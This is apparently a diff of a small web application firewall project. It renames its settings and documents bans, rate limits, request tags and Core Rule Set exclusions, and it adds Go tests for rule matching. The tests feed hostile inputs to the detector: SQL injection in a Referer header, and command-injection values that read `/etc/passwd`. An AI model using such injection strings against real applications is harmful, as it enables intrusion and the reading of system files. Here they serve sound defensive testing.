`SWW_ERROR_BURST_THRESHOLD` refusals within a minute. The bans for a broken limit: - - The first such ban lasts `SWWAF_LIMIT_BAN_DURATION` (default `1h`), with - the cause `limit`. So does one that comes more than - `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`) after the last such ban + - The first such ban lasts `SWW_LIMIT_BAN_DURATION` (default `1h`), with the + cause `limit`. So does one that comes more than + `SWW_LIMIT_BAN_REPEAT_WINDOW` (default `24h`) after the last such ban ended. - Breaking a limit again within that window makes the new ban three times as long as the last one: one hour, then 3, 9, 27 and 81 hours. - - A ban that would be longer than `SWWAF_MAX_BAN_DURATION` (default `7d`) is + - A ban that would be longer than `SWW_MAX_BAN_DURATION` (default `7d`) is permanent instead. At the defaults, that is the sixth ban in a row. - Each such ban sets the client's counters for every limit back to zero. Once it ends, only new requests can break a limit again. The client's @@ -277,43 +299,50 @@ fetched again. These refuse each request they cover, record nothing in `bans.json`, and count no offence: -- `SWWAF_DENY_NETS`; +- `SWW_DENY_NETS`; - a blocklist or reputation hit whose action is `deny`; -- the country lists. +- the country list; +- `SWW_TAG_DENY`. Every ban carries notes with what an admin needs to decide whether to lift it, -drawn from what `servewaf` already knows. No lookup is made for the notes alone. -`docs/state-files.md` lists the notes with the rest of a ban's entry. +drawn from what `discriminator` already knows. No lookup is made for the notes +alone. `docs/state-files.md` lists the notes with the rest of a ban's entry. An admin adds, keeps or lifts a ban by editing `bans.json` (see "Persistent state") or through the ban endpoints (see "Admin endpoints"). A ban an admin -makes has the cause `admin`; an admin who wants to keep a ban `servewaf` made -sets its cause to `admin`. A ban lifted before it ends is kept, marked as +makes has the cause `admin`; an admin who wants to keep a ban `discriminator` +made sets its cause to `admin`. A ban lifted before it ends is kept, marked as lifted, and does not count toward a longer ban; it refuses nothing. Deleting its entry from `bans.json` forgets it entirely. A permanent ban does not run out. It ends when an admin lifts it, or when -`servewaf` drops it from a full table, as below. When `servewaf` holds -`SWWAF_MAX_BANS` bans of its own, it drops the earliest ban of one netblock: the +`discriminator` drops it from a full table, as below. When `discriminator` holds +`SWW_MAX_BANS` bans of its own, it drops the earliest ban of one netblock: the netblock that has gone longest without a request. A past, active or permanent ban is dropped alike. A scanner whose ban was dropped that way is refused and banned again by its next probe. A ban whose cause is `admin` is never dropped -and does not count toward `SWWAF_MAX_BANS`, so such bans can never fill the -table. +and does not count toward `SWW_MAX_BANS`, so such bans can never fill the table. + +A request refused under a ban that runs out is logged with the action +`temporarily_banned`. Under a permanent ban the action is `permanently_banned`. +A request refused for a clear sign of attack or a CrowdSec decision takes the +action for the ban it made. A request that makes a ban permanent is logged as +`permanently_banned`. A request over a rate limit is logged as +`client_is_rate_limited`, whichever ban it makes. ## Settings `docs/settings.md` lists every setting with its default and the values it takes, in the groups below. It also gives the form each kind of value takes. The groups -below are `servewaf`'s settings; "`rproxy`" gives the use of `rproxy`'s. +below are `discriminator`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions: - These settings take `off`, which switches them off: - - `SWWAF_LOOKUP_SOURCE` and `SWWAF_WAF_MODE`; + - `SWW_LOOKUP_SOURCE` and `SWW_WAF_MODE`; - the three rate limits and the three byte limits; - - `SWWAF_WAF_ANOMALY_THRESHOLD`, `SWWAF_WAF_BODY_LIMIT` and - `SWWAF_ERROR_BURST_THRESHOLD`; - - `SWWAF_ALERT_COOLDOWN` and `SWWAF_ALERT_MAX_PER_HOUR`; + - `SWW_WAF_ANOMALY_THRESHOLD`, `SWW_WAF_BODY_LIMIT` and + `SWW_ERROR_BURST_THRESHOLD`; + - `SWW_ALERT_COOLDOWN` and `SWW_ALERT_MAX_PER_HOUR`; - every anomaly threshold; - `SWRP_MAX_REQUEST_SIZE`, `SWRP_MAX_RESPONSE_SIZE`, `SWRP_MAX_REQUEST_TIME_MS` and `SWRP_MAX_RESPONSE_TIME_MS`. @@ -321,16 +350,17 @@ Conventions: No other setting can be switched off with `off`. - A list set to an empty value is an empty list, and replaces the default. -- Any `SWWAF_` setting can be read from a file instead, for secrets and long - lists: `SWWAF_ADMIN_TOKEN_FILE` names the file that holds `SWWAF_ADMIN_TOKEN`. - The file's contents are the value, less one newline at the end, and are - checked as the value itself would be. Setting both forms stops the start, and - so does naming a file that cannot be read. `SWWAF_LOG_REMOTE_TLS_CA_FILE` - already holds a file name, so it has no `_FILE` form. No `SWRP_` setting has +- Any `SWW_` setting can be read from a file instead, for secrets and long + lists: `SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The + file's contents are the value, less one newline at the end, and are checked as + the value itself would be. Setting both forms stops the start, and so does + naming a file that cannot be read. `SWW_LOG_REMOTE_TLS_CA_FILE` and + `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` already hold a file name, so they have no + `_FILE` form. `SWW_COMMAND` cannot be given as a file. No `SWRP_` setting has one, since `rproxy` never touches disk. - Settings, files included, are read once at start. Changing one means - restarting the container. The files `servewaf` watches while it runs are its - state files, its rule files and the lookup database. + restarting the container. The files `discriminator` watches while it runs are + its state files, its rule files and the lookup database. - An invalid setting stops the process at start with one log line, marked `"type":"process"` with `"msg":"invalid setting"`. The line names the variable and what is wrong with the value; "Each container's processes" says what @@ -340,60 +370,59 @@ Conventions: ### Core -- `SWWAF_INSTANCE_NAME` is in each line `servewaf` logs, and in each metric and - alert, so that instances can be told apart. The default, the container's host - name, changes at every redeploy; a name set by the operator survives it. -- `SWWAF_MODE=observe` lets a configuration be tried before it is enforced (see +- `SWW_INSTANCE_NAME` is in each line `discriminator` logs, and in each metric + and alert, so that instances can be told apart. The default, the container's + host name, changes at every redeploy; a name set by the operator survives it. +- `SWW_MODE=observe` lets a configuration be tried before it is enforced (see "What happens to a request"). -- `SWWAF_IPV6_GROUP_PREFIX` sets the group size. After a change, each IPv6 - client starts afresh; existing bans keep refusing their netblocks until they - end. `SWWAF_MAX_TRACKED_CLIENTS` and `SWWAF_MAX_BANS` set the bounds under - "Counting method" and "Bans". +- `SWW_IPV6_GROUP_PREFIX` sets the group size. After a change, each IPv6 client + starts afresh; existing bans keep refusing their netblocks until they end. + `SWW_MAX_TRACKED_CLIENTS` and `SWW_MAX_BANS` set the bounds under "Counting + method" and "Bans". ### Tokens -- `SWWAF_ADMIN_TOKEN` switches on the ban endpoints and - `/_smallwebwaf/clients/`. The metrics are off until `SWWAF_METRICS_TOKEN` - is set, since without a token they would be open to anything on `servewaf`'s - network. The two are separate, so the metrics collector, which holds the - metrics token, cannot manage bans. +- `SWW_ADMIN_TOKEN` switches on the ban endpoints and `/_sww/clients/`. The + metrics are off until `SWW_METRICS_TOKEN` is set, since without a token they + would be open to anything on `discriminator`'s network. The two are separate, + so the metrics collector, which holds the metrics token, cannot manage bans. - A token is a long random value. One shorter than 32 characters stops the start. The file form keeps a token out of the container's environment (see "Tokens" under "Deployment"). ### State files -- `SWWAF_STATE_DIR` names the directory of the state files (see "State" under +- `SWW_STATE_DIR` names the directory of the state files (see "State" under "Deployment"). -- `bans.json` is written `SWWAF_STATE_WRITE_DELAY` after a ban is made, lifted - or made permanent, so a burst of changes becomes one write. Every file is - written every `SWWAF_STATE_COUNTER_INTERVAL`, and at an orderly stop. +- `bans.json` is written `SWW_STATE_WRITE_DELAY` after a ban is made, lifted or + made permanent, so a burst of changes becomes one write. Every file is written + every `SWW_STATE_COUNTER_INTERVAL`, and at an orderly stop. ### Logging - The request log on stdout is always on and has no switch (see "Request log"). - `SWWAF_LOG_LEVEL` filters only the process's own messages, and no message is - at `debug`. `warn` and `error` hold back the line of settings at start. -- `SWWAF_LOG_REQUEST_HEADERS` names the request headers to record. + `SWW_LOG_LEVEL` filters only the process's own messages, and no message is at + `debug`. `warn` and `error` hold back the line of settings at start. +- `SWW_LOG_REQUEST_HEADERS` names the request headers to record. `Authorization`, `Cookie` and `Set-Cookie` values are never logged, even if listed. The log says only whether `Authorization` and `Cookie` were present. -- `SWWAF_LOG_REMOTE_URL` names a syslog server (see "Request log"). +- `SWW_LOG_REMOTE_URL` names a syslog server (see "Request log"). ### Metrics -- `SWWAF_METRICS_TOP_N` is how many of the busiest AS numbers and countries get - a series of their own. The rest are summed as `other`, so the label set stays +- `SWW_METRICS_TOP_N` is how many of the busiest AS numbers and countries get a + series of their own. The rest are summed as `other`, so the label set stays bounded. ### Static lists -- `SWWAF_ALLOW_NETS` skips the checks step 3 names, for monitoring or the - owner's own networks. `SWWAF_RATE_LIMIT_EXEMPT_NETS` bypasses the request and - byte limits only; the error burst, attack detection and bans still apply. +- `SWW_ALLOW_NETS` skips the checks step 4 names, for monitoring or the owner's + own networks. `SWW_RATE_LIMIT_EXEMPT_NETS` bypasses the request and byte + limits only; the error burst, attack detection and bans still apply. - Many people can share one address, as in an office, on a mobile carrier or through Tor. They are one client, and share its limits and its bans. A known - shared address busier than the limits allow belongs in `SWWAF_ALLOW_NETS` or - `SWWAF_RATE_LIMIT_EXEMPT_NETS`. + shared address busier than the limits allow belongs in `SWW_ALLOW_NETS` or + `SWW_RATE_LIMIT_EXEMPT_NETS`. ### Request rate limits, per client @@ -402,10 +431,10 @@ scrapers that send many requests slowly over hours or days. The hour limit is the main one. - Per minute: 120, 2 requests a second. It leaves room for a person opening two - pages at once with an empty cache. A gitea page opened with an empty cache + pages at once with an empty cache. A web app's page opened with an empty cache loads 20 to 60 files, and a handful once cached. -- Per hour: 1,500. A person reading code in gitea for a whole hour, a page every - 20 seconds, makes about 900 requests. A scraper making one request every 2 +- Per hour: 1,500. A person reading a site for a whole hour, a page every 20 + seconds, makes about 900 requests. A scraper making one request every 2 seconds makes 1,800 an hour, more than the limit. - Per day: 6,000, four hours at the hour limit. A scraper making one request every 10 seconds makes 8,640 a day, more than the limit. @@ -417,27 +446,32 @@ the blocklists. An abuser that trips none of them is not caught. Some legitimate clients pass the limits: -- An Actions runner asks gitea for work all day and can pass the limits. +- A CI runner asks its code forge for work all day and can pass the limits. - Everyone behind one shared address, such as an office, shares one client's limits. -Their addresses belong in `SWWAF_RATE_LIMIT_EXEMPT_NETS`. +Their addresses belong in `SWW_RATE_LIMIT_EXEMPT_NETS`. -`SWWAF_RATE_LIMIT_EXEMPT_PATHS` takes path prefixes out of the count, such as +`SWW_RATE_LIMIT_EXEMPT_PATHS` takes path prefixes out of the count, such as static assets or health checks; their bytes are not counted either. A prefix is matched exactly as sent, without the query, and is not percent-decoded: `/assets/` matches `/assets/app.js`, and does not match `/Assets/app.js`, `/%61ssets/app.js` or `/static/assets/app.js`. There are no wildcards. A path holding `..`, a backslash or an encoded slash (`%2F`) is never exempt, since the -app may read it as a path outside the prefix. `SWWAF_WAF_EXEMPT_PATHS` is -matched the same way. +app may read it as a path outside the prefix. `SWW_WAF_EXEMPT_PATHS` is matched +the same way. ### Byte limits, per client -By default there is no minute limit, so a client can download in a burst at full -speed. The hour limit defaults to 50 GiB and the day limit to 100 GiB. They -allow several downloads of a few GiB each. A response's bytes are counted when -it ends (see step 15). +The byte limits count body bytes: the app's response bodies, the visitors' +request bodies, or both, as `SWW_BYTES_COUNT` says. Headers are never counted. +What the visitor sent over a WebSocket counts as request bytes, and what the app +sent as response bytes. The bytes counted for a request and its response are +added to the client's total once the response has ended (see step 18). So the +request that takes a client past a limit is passed on whole, and the ban refuses +the client's requests from then on. By default there is no minute limit, so a +client can download in a burst at full speed. The hour limit defaults to 50 GiB +and the day limit to 100 GiB. They allow several downloads of a few GiB each. ### Lookup of AS number and country @@ -446,13 +480,13 @@ lookup works with no setup. A local database file is the alternative for a service that keeps its visitors' addresses on its own host. - Only one source is used. The start stops, naming both settings, when `file` is - set without `SWWAF_LOOKUP_DB_PATH`, or `SWWAF_LOOKUP_DB_PATH` with any other + set without `SWW_LOOKUP_DB_PATH`, or `SWW_LOOKUP_DB_PATH` with any other source. The start also stops when the source is `off` and a setting that needs a lookup is set (`docs/settings.md` lists them). - GeoJS is told the address of every new visitor, whether or not a setting uses the answer, since the request log, the metrics and the ban notes carry it. These addresses are never sent: - - one in `SWWAF_ALLOW_NETS` or `SWWAF_DENY_NETS`; + - one in `SWW_ALLOW_NETS` or `SWW_DENY_NETS`; - one under a ban; - a private, loopback or link-local address, which no source can place. - For an IPv6 visitor, GeoJS is asked about the first address of its group. @@ -465,24 +499,24 @@ service that keeps its visitors' addresses on its own host. are kept apart from the table of clients, so that an answer outlasts a client dropped from that table. The answer reaches the client's history and ban notes when it comes. -- `SWWAF_LOOKUP_TIMEOUT` is how long a visitor's request waits for its client's - first answer, when a setting needs it (see step 5). It also bounds each +- `SWW_LOOKUP_TIMEOUT` is how long a visitor's request waits for its client's + first answer, when a setting needs it (see step 6). It also bounds each request to GeoJS. A client whose answer has not come in time counts as unknown until it comes, and its later requests do not wait. Its address is asked about again in the background. - A client the lookup cannot place has an unknown country and AS number, which - the country lists and the biased thresholds treat as described there. Nothing + the country list and the biased thresholds treat as described there. Nothing else treats it differently. - GeoJS publishes no rate limit, but its terms forbid "an excessive amount of API requests", judged by GeoJS alone, and let it block a caller. While GeoJS - is slow, down or refusing `servewaf`, new clients count as unknown. GeoJS is - then left alone for a second, and twice as long after each further failure, up - to five minutes. Each failure raises a `source_failure` alert (see + is slow, down or refusing `discriminator`, new clients count as unknown. GeoJS + is then left alone for a second, and twice as long after each further failure, + up to five minutes. Each failure raises a `source_failure` alert (see "Alerting"). A service that cannot accept this uses the file. - The file is the free IPinfo Lite database (`ipinfo_lite.mmdb`), whose `asn`, `as_name` and `country_code` fields are read. The operator downloads it with a - free IPinfo account and mounts it read-only; `servewaf` never fetches it and - holds no account or token for it. IPinfo updates it daily. Its licence is + free IPinfo account and mounts it read-only; `discriminator` never fetches it + and holds no account or token for it. IPinfo updates it daily. Its licence is Creative Commons Attribution-ShareAlike 4.0, and IPinfo asks for a link to it on the site that uses it, such as "IP address data is powered by IPinfo". - The file is read whole at start; one that is missing or unreadable stops the @@ -491,74 +525,130 @@ service that keeps its visitors' addresses on its own host. `file_error` alert and ignored. The database already loaded stays in use. A client whose address the file does not hold counts as unknown. -### Country lists +### Country list -Both are empty by default: the defaults judge a client by what it does, not by -where it comes from. +`SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` is empty by default: the defaults judge a +client by what it does, not by where it comes from. A `country=` tag in +`SWW_TAG_DENY` refuses one country (see "Request tags"). -- `SWWAF_DENIED_COUNTRIES` refuses every request from a listed country. -- `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` lets through only clients placed in a +- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` lets through only clients placed in a listed country. Every request from any other country is refused. So is every request from a client the lookup cannot place, such as internal monitoring or a visitor on a private address; those that should reach the app go in - `SWWAF_ALLOW_NETS`. A list that let unplaced clients through would let every - new client in whenever GeoJS stops answering. The cost: while GeoJS fails, - this list refuses every new client. No other failure of GeoJS, a reputation - source or an alert destination comes this close to taking the service down. -- Both may be set. `SWWAF_DENIED_COUNTRIES` then adds nothing, since the - exclusive list already refuses every other country. A code on both lists stops - the start with a message naming it. -- A refused request is answered with `SWWAF_BAN_RESPONSE`, as soon as the - client's address has been looked up. It is logged with the action - `country_denied`, and counted in the metrics. + `SWW_ALLOW_NETS`. A list that let unplaced clients through would let every new + client in whenever GeoJS stops answering. The cost: while GeoJS fails, this + list refuses every new client. No other failure of GeoJS, a reputation source + or an alert destination comes this close to taking the service down. +- A code in this list whose `country=` tag is in `SWW_TAG_DENY` stops the start + with a message naming it. +- A refused request is answered with `SWW_BAN_RESPONSE`, as soon as the client's + address has been looked up. It is logged with the action `country_denied`, and + counted in the metrics. + +### Request tags + +Each request gets tags from what `discriminator` knows of its client and what +the checks found. The operator refuses or slows clients by tag. Tags appear in +the log line as `tags`, sorted, with empty lists left out (see +`docs/request-log.md`). + +Each tag and where it comes from: + +- `asn=` and `country=`, such as `asn=64496` and `country=DE`, + from the lookup. A client the lookup cannot place has neither. A request + refused by `deny_nets` or `active_ban` has neither, because those checks come + before the lookup. +- One tag per list of `SWW_TAG_LISTS` that holds the client (`tag_lists`), the + tag being the list's name, such as `torexit` or `vpn=mullvad`. These lists are + fetched and kept like a blocklist. `discriminator` ships none of its own. +- `crowdsec`, `dnsbl=` and `abuseipdb`, when that reputation source lists + the client, whatever the source's action. A zone with a key is named with the + key masked, as the `reputation` field gives it. +- `exploitsignature`, when a rule file or the Core Rule Set matched the request. + For the Core Rule Set a match is a score at or over + `SWW_WAF_ANOMALY_THRESHOLD`. +- `asn=` and `prefix=` from a routewatch instance + (`routewatch_tags`), while `SWW_ROUTEWATCH_URL` is set: + - The tag `prefix=` holds the netblock the client's address is announced in, + such as `prefix=192.0.2.0/24`. + - An `asn=` tag has the same spelling as the lookup's. When routewatch and + the lookup give the same AS number, a request has one `asn=` tag. When + they differ, it has both. + - They are added before `deny_nets`, so the log line of a request it refused + has them. + - `discriminator` asks routewatch in the background and never waits for it. + An answer is kept for 1 hour, in memory only. + - After a query fails, routewatch is not asked for 1 minute. + - A request without these tags gives the reason in the log field + `routewatch_tags_missing` (see + [`docs/request-log.md`](docs/request-log.md)). + +A client in `SWW_ALLOW_NETS` skips the checks and gets no tag. Every tag is in +lower case, except a country code, which is in capitals. `SWW_TAG_DENY` and +`SWW_TAG_LIMIT_PERCENT` accept tags in either case. + +Two settings act on tags: + +- `SWW_TAG_DENY` lists tags whose requests are refused with the action + `client_denied` (`tag_deny`). The check runs twice: just before the rate + limits, and again after the Core Rule Set, so that `exploitsignature` can + refuse too. +- `SWW_TAG_LIMIT_PERCENT` lists tags with a percentage from 1 to 99. Their + clients get that percentage of every request and byte limit. The lowest + percentage among a client's tags applies. `exploitsignature` cannot be listed, + since a request gets it only after the rate limits have counted it. + +The tag settings are empty by default, for the same reason as the country list. +The lookup waits for GeoJS when either names an `asn=` or `country=` tag. A +setting that names one stops the start while `SWW_LOOKUP_SOURCE` is `off`. The +exception is an `asn=` tag while `SWW_ROUTEWATCH_URL` is set, since routewatch +gives that tag. ### Biased thresholds -The biased thresholds lower the limits of clients in listed AS numbers and -countries. The lists are empty by default, for the same reason as the country -lists. The request log and the metrics show which AS numbers and countries a -service's abuse comes from. +The biased thresholds lower the limits of clients by AS number, country and tag. +The lists are empty by default, for the same reason as the country list. The +request log and the metrics show which AS numbers and countries a service's +abuse comes from. -- Each list gives AS numbers or countries a percentage, such as `AS14061:50`. - Their clients get that percentage of every request and byte limit - (`SWWAF_ASN_LIMIT_PERCENT`, `SWWAF_COUNTRY_LIMIT_PERCENT`). A lowered limit is - rounded down. `0` is a zero allowance: the client's first request breaks a - limit and bans it. -- `SWWAF_ASN_BYTES_PERCENT` and `SWWAF_COUNTRY_BYTES_PERCENT` set the byte - limits' percentage alone, when it should differ from the request limits'. For - an AS number they list, they replace its percentage from - `SWWAF_ASN_LIMIT_PERCENT` and `SWWAF_ASN_LIMIT_PERCENT_URL`; for a country, - the one from `SWWAF_COUNTRY_LIMIT_PERCENT`. -- `SWWAF_ASN_LIMIT_PERCENT_URL` names a text file of `AS:percent` lines, so one - abuse-source list can be shared by every `servewaf` in the fleet. It is - fetched and kept like a blocklist (see "Reputation"). Where it and - `SWWAF_ASN_LIMIT_PERCENT` both give a percentage, the lower applies. +- `SWW_TAG_LIMIT_PERCENT` gives a tag a percentage, such as `asn=14061:50` (see + "Request tags"). A lowered limit is rounded down. +- `SWW_UNKNOWN_LIMIT_PERCENT` at `0` is a zero allowance: the client's first + request breaks a limit and bans it. +- `SWW_ASN_BYTES_PERCENT` and `SWW_COUNTRY_BYTES_PERCENT` set the byte limits' + percentage alone, when it should differ from the request limits'. For an AS + number they list, they replace its `asn=` tag's percentage and its entry in + `SWW_ASN_LIMIT_PERCENT_URL`; for a country, its `country=` tag's percentage. +- `SWW_ASN_LIMIT_PERCENT_URL` names a text file of `AS:percent` lines, so one + abuse-source list can be shared by every `discriminator` in the fleet. It is + fetched and kept like a blocklist (see "Reputation"). Each entry counts like + an `asn=` tag in `SWW_TAG_LIMIT_PERCENT`. Where both give a percentage, the + lower applies. - A client's limit percentage is the lowest of those that apply to it: its AS - number's, its country's, or a reputation hit's `limit:`. A client - without a country gets `SWWAF_UNKNOWN_LIMIT_PERCENT` in place of a country's. - The percentage is 100 if none applies. Clients given a lower percentage are - banned after fewer requests, first for a while and then, for repeated abuse, - permanently. The log line of each counted request, and the notes of each ban, - say which setting lowered the limit. + number's, its country's, its tags', or a reputation hit's `limit:`. A + client without a country gets `SWW_UNKNOWN_LIMIT_PERCENT` in place of a + country's. The percentage is 100 if none applies. Clients given a lower + percentage are banned after fewer requests, first for a while and then, for + repeated abuse, permanently. The log line of each counted request, and the + notes of each ban, say which setting lowered the limit. - No budget is shared by a whole country or AS number. One abuser could use it up and lock out everyone else there: a denial of service nobody chose, and the one this tool exists to prevent. Refusing a whole country is left to the - operator's choice, through the country lists. + operator's choice, through `SWW_TAG_DENY` or the country list. ### Attack detection By default the Core Rule Set reads the method, the URL with its query string, and the headers of every request. That is where automated attacks show: injection in query strings, path traversal, attacks carried in headers, -scanners' user agents. It reads no request body. In front of a code forge such -as gitea, bodies carry what people write and publish, such as issue text and -files saved in the web editor. The Core Rule Set takes the shell commands and -code in them for attacks. The default gives up refusing an attack carried in a -body. The rule files, the limits and the bans still apply to the client that -sends it. +scanners' user agents. It reads no request body. In front of a code forge, +bodies carry what people write and publish, such as issue text and files saved +in the web editor. The Core Rule Set takes the shell commands and code in them +for attacks. The default gives up refusing an attack carried in a body. The rule +files, the limits and the bans still apply to the client that sends it. -- The Core Rule Set skips a path under `SWWAF_WAF_EXEMPT_PATHS`. -- `SWWAF_WAF_PARANOIA_LEVEL` and `SWWAF_WAF_ANOMALY_THRESHOLD` are the Core Rule +- The Core Rule Set skips a path under `SWW_WAF_EXEMPT_PATHS`. +- `SWW_WAF_PARANOIA_LEVEL` and `SWW_WAF_ANOMALY_THRESHOLD` are the Core Rule Set's own two tuning values, at its own defaults. Each level up runs more rules, which find more attacks and take more ordinary requests for attacks. Each rule that matches adds its score to the request's, and a rule rated @@ -567,8 +657,8 @@ sends it. match, and scores are still logged. A request with more than 1000 query parameters or body fields adds 5 to its score, since Coraza reads only the first 1000. For a match, in `block` and `detect` mode alike, the log line - gives the rule ids and the score, and a `waf_block` alert is sent. -- `SWWAF_WAF_DISABLED_RULES` switches off rule ids when an app trips a false + gives the rule ids and the score, and a `core_rule_set_match` alert is sent. +- `SWW_WAF_DISABLED_RULES` switches off rule ids when an app trips a false positive. The default switches off six rules: - 920340, 920420 and 920640 refuse a request for the type of its body, when the type is missing or not on the Core Rule Set's short list; @@ -583,24 +673,45 @@ sends it. probes these rules caught (see "Rule files"). A list you give replaces the default, so name these six ids in it to keep them off. -- `SWWAF_WAF_BODY_LIMIT` switches body inspection on, up to that size. It takes - at most `64K`, since `servewaf` gets no more of a body than that (see "The +- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as + Coraza directives. An exclusion switches one rule off for some fields or paths + only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file + holds an app's own exclusions; the eighth to eleventh changes below hold + gitea's, WordPress's, Drupal's and MediaWiki's. + - `discriminator` loads the file after `smallwebwaf`'s own setup rules and + before the Core Rule Set's rules. The Core Rule Set loads its own + `REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point. + - So the file holds only `SecAction` and `SecRule` lines that exclude with + `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. These run with each + request, before the rules they exclude, those of phase 1 included. + - A rule that `SWW_WAF_DISABLED_RULES` switches off and the file names is + simply off. + - The start stops on a file that cannot be read or does not parse, whatever + `SWW_WAF_MODE` is. + - It stops too on a file that names a number from 900000 to 900999, the ids + of `smallwebwaf`'s own rules, alone or in a range. Comment lines are not + checked. + - It stops too on a directive that removes or changes rules as the file + loads, such as `SecRuleRemoveById`, since none of the Core Rule Set's + rules is loaded yet. + +- `SWW_WAF_BODY_LIMIT` switches body inspection on, up to that size. It takes at + most `64K`, since `discriminator` gets no more of a body than that (see "The answer"). Form data and multipart bodies are read up to the size. JSON and XML bodies are read only when no larger than the size, since those cannot be read in part. Any other body is not read: the Core Rule Set would read it as form data, where binary content such as a git push trips rules written for text. A body the Core Rule Set cannot parse adds 5 to the score, and so does a multipart body cut by the limit in the middle of a part's header. Body - inspection suits apps whose forms carry no code; `docs/gitea.md` records what - it refuses in front of gitea. -- `SWWAF_TRAP_PATHS` names paths the app never serves and only scanners ask for, - such as `/wp-login.php` in front of gitea. This is the short form of a `path` - rule with the `ban` action, for deployments that mount no rule files. A trap - path is matched whole, without the query, against the path as sent and once - percent-decoded: `/wp-login.php` matches `/wp-login.php?x=1` and - `/%77p-login.php`, and does not match `/wp-login.php/` or - `/blog/wp-login.php`. -- `SWWAF_ERROR_BURST_THRESHOLD` counts a client's refusals per minute of these + inspection suits apps whose forms carry no code. +- `SWW_TRAP_PATHS` names paths the app never serves and only scanners ask for, + such as `/wp-login.php` in front of an app that is not WordPress. This is the + short form of a `path` rule with the `ban` action, for deployments that mount + no rule files. A trap path is matched whole, without the query, against the + path as sent and once percent-decoded: `/wp-login.php` matches + `/wp-login.php?x=1` and `/%77p-login.php`, and does not match `/wp-login.php/` + or `/blog/wp-login.php`. +- `SWW_ERROR_BURST_THRESHOLD` counts a client's refusals per minute of these kinds, and of no other: - a rule file match; - a trap path; @@ -609,12 +720,12 @@ sends it. More than this breaks a limit (see "Bans"). A client trying one attack after another is refused many times a minute; a person rarely more than a few times. Answers the app gives are not counted, since they do not tell a - scanner from an ordinary client. In front of gitea, registry and git clients - get `404` and `401` by design, hundreds of times a minute. + scanner from an ordinary client. In front of a code forge, registry and git + clients get `404` and `401` by design, hundreds of times a minute. -`smallwebwaf` changes the Core Rule Set 4.25.0 in six ways, since in front of -gitea it would otherwise refuse ordinary requests. The changes hold in front of -every app, and no setting undoes them: +`smallwebwaf` changes the Core Rule Set 4.25.0 in eleven ways, since in front of +gitea, WordPress, Drupal and MediaWiki it would otherwise refuse ordinary +requests. The changes hold in front of every app, and no setting undoes them: 1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST` and `OPTIONS`. APIs, container image pushes and package uploads use them. @@ -644,9 +755,11 @@ every app, and no setting undoes them: or `docker-build`. In these parameters, what only these three rules would catch reaches the app, such as the command `|cat /etc/passwd`. Path traversal, SQL and script injection, and PHP, Java and Node.js code are - still refused there. Every other parameter keeps all three rules. An app - that uses one of these parameters as a file on the server, or passes it to a - shell, must check the value itself. A rule file can refuse it instead. + still refused there. Other parameters keep all three rules, except on the + gitea, WordPress, Drupal and MediaWiki paths the eighth to eleventh changes + name. An app that uses one of these parameters as a file on the server, or + passes it to a shell, must check the value itself. A rule file can refuse it + instead. 5. Two cookies are left out, and `Referer` keeps fewer rules: - The Core Rule Set reads the request without the `gitea_flash` and @@ -660,26 +773,298 @@ every app, and no setting undoes them: only to its own pages. Every other cookie is read in full. An app that reads a cookie of either name must check it itself. - `Referer` is not checked for a Unix command given without arguments - (932340) or for Java starting a process (944110). `Referer` names the page - a request comes from, on everything that page loads and on every link - followed from it. The Core Rule Set takes some page addresses for attacks, - such as a search for `env`, or OpenJDK's `Runtime.java`, whose path holds - both `runtime` and `java.`. All of those requests would be refused. - `Referer` keeps the other rules. An app that passes `Referer` to a shell - must check it itself. + (932340), for Java starting a process (944110) or for a Java class name + (944130). `Referer` names the page a request comes from, on everything + that page loads and on every link followed from it. The Core Rule Set + takes some page addresses for attacks: + - a search for `env`; + - OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`; + - a file named `java.lang.String.md`. + + Every request from such a page would be refused. `Referer` keeps the + other rules, except after some gitea searches (the eighth change). An + app that passes `Referer` to a shell must check it itself. + 6. Responses are not inspected. A raw file from a repository, such as a shell script, looks to the response rules like source code leaking from the server. +7. The `from` parameter of a container registry's upload path, + `/v2//blobs/uploads/`, is not checked for command names (932260). When + a push reuses a layer, `from` names the image the layer comes from. An image + such as `owner/python3-app` would have that push refused. +8. On gitea's paths, some fields skip the rules that refused ordinary gitea + requests there. They are the fields where gitea sends a search, a file name + or a branch name. `internal/coreruleset/gitea.conf` lists each rule and the + request it refused. The fields are: + - `q` on gitea's searches of code, of issues and pull requests, and of + commits. A code search holds code, such as `"), + matched(941110, 941160)) + wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"), + matched(942100)) +} + +func TestEmptyHeaderIsRead(t *testing.T) { + t.Parallel() + + // An empty User-Agent is a notice, which adds 2. + wantResult(t, atDefaults(t), get("/", "User-Agent: "), + coreruleset.Result{RuleIDs: []int{920330}, Score: 2}) +} + +func TestParanoiaLevel(t *testing.T) { + t.Parallel() + + // Accept-Charset is refused from paranoia level 2. + r := get("/", "Accept-Charset: utf-8") + + wantResult(t, sharedCoreRuleSet(t, 1), r, coreruleset.Result{}) + wantResult(t, sharedCoreRuleSet(t, 2), r, matched(920451)) +} + +func TestEachDisabledRuleIsSwitchedOff(t *testing.T) { + t.Parallel() + + // A method not allowed, and a Host that is an IP address, a warning, + // which adds 3. + r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}} + + wantResult(t, sharedCoreRuleSet(t, 1), r, + coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8}) + wantResult(t, sharedCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{}) +} + +func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + reuse := "?mount=sha256:0000&from=owner/python3-app" + + wantChange(t, crs, get("/v2/owner/app/blobs/uploads/"+reuse), get("/upload/"+reuse), + matched(932260)) + + // A command after the image's name is still refused. + wantResult(t, crs, + get("/v2/owner/app/blobs/uploads/?from=owner/app;cat%20/etc/passwd"), + 